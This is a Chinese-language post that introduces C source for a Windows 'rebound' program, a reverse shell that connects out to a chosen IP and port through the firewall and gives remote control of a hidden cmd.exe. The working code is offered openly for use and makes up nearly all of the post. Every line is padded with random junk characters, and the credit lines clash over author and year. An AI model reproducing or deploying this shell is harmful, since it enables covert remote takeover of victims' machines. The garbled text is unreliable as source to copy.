这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 IU\h,Ug
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/* ============================== |a=7P
Rebound port in Windows NT {T 3~js
By wind,2006/7 7GRPPh<4
===============================*/ *fI\|%K
#include n(
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#include iUlSRfrC$#
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#pragma comment(lib,"wsock32.lib") 8|tnhA]~
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void OutputShell(); bycnh
SOCKET sClient; Zou;o9Ww
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; a~Yq0 d?`D
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void main(int argc,char **argv) 9>=S@hVMd
{ bT`et*]
WSADATA stWsaData; 0qL.Rnt
int nRet; 36}&{A
SOCKADDR_IN stSaiClient,stSaiServer; V0xO:7G^
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if(argc != 3) j:U6q,f]
{ =nv/
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printf("Useage:\n\rRebound DestIP DestPort\n"); \pXo~;E\
return; *mn"GK6
} 7=a
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WSAStartup(MAKEWORD(2,2),&stWsaData); E+J +fi
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |OIU)53A-
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stSaiClient.sin_family = AF_INET; h]&o)%{4
stSaiClient.sin_port = htons(0); _7
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <(l`zLf4p
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [= Xb*~
{ IGo+O*dMw
printf("Bind Socket Failed!\n"); Jt3*(+J>/
return; 8d(l)[GZt
} Dlz1"|SF
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stSaiServer.sin_family = AF_INET; gUme({h&|
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); oiQ:&$y
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 'ql<R0g
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) BOv ^L?)*Z
{ WQMoAPfqL
printf("Connect Error!"); <4TF ]5
return; b?:?"
} G-'CjiMu
OutputShell(); izR#XeBm
} u24XuSe$
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void OutputShell() S7j U:CLJ
{ \zhCGDm1_
char szBuff[1024]; ;f
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SECURITY_ATTRIBUTES stSecurityAttributes; )*&61
OSVERSIONINFO stOsversionInfo; NG:
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; e^UUR-K%
STARTUPINFO stStartupInfo; y w:=$e5
char *szShell; # ELYPp]6
PROCESS_INFORMATION stProcessInformation; %-
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unsigned long lBytesRead; _O&P!hI
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); rVwW%&
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,m M7g
stSecurityAttributes.lpSecurityDescriptor = 0; <DhuY/o
stSecurityAttributes.bInheritHandle = TRUE; 2\CZ"a#[
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); jWso'K
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); y0'WB`hNQ
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 'N`x@(
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BwVq:)P/R
stStartupInfo.wShowWindow = SW_HIDE; vd/ BO
stStartupInfo.hStdInput = hReadPipe; 8L[\(~Zf
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; #4V->I
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GetVersionEx(&stOsversionInfo); EjP)e;
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switch(stOsversionInfo.dwPlatformId) @eYD@!
{ E,QD6<?[
case 1: AR c
szShell = "command.com"; %!R\-Vej
break; % -.V6}V
default: f7Gs1{
szShell = "cmd.exe"; 57EL&V%j
break; X$eR RSW
} B[5<&
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); QV
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send(sClient,szMsg,77,0); P`y.3aK
while(1) (]-RL
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{ ES)_X:\X?V
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); eWXR #g!%>
if(lBytesRead) Wr+1e1[
{ RtEx
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);
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send(sClient,szBuff,lBytesRead,0); L;=LAQ6[
} 4^!%>V"d/
else |#Q0UM|'Q
{ EmyE%$*T
lBytesRead=recv(sClient,szBuff,1024,0); 1w+)ne_&
if(lBytesRead<=0) break; gFXz:!A
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 31N5dIi,
} f n8|@)J
} Q)5V3Q]@^
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return; C1OiM b(:
}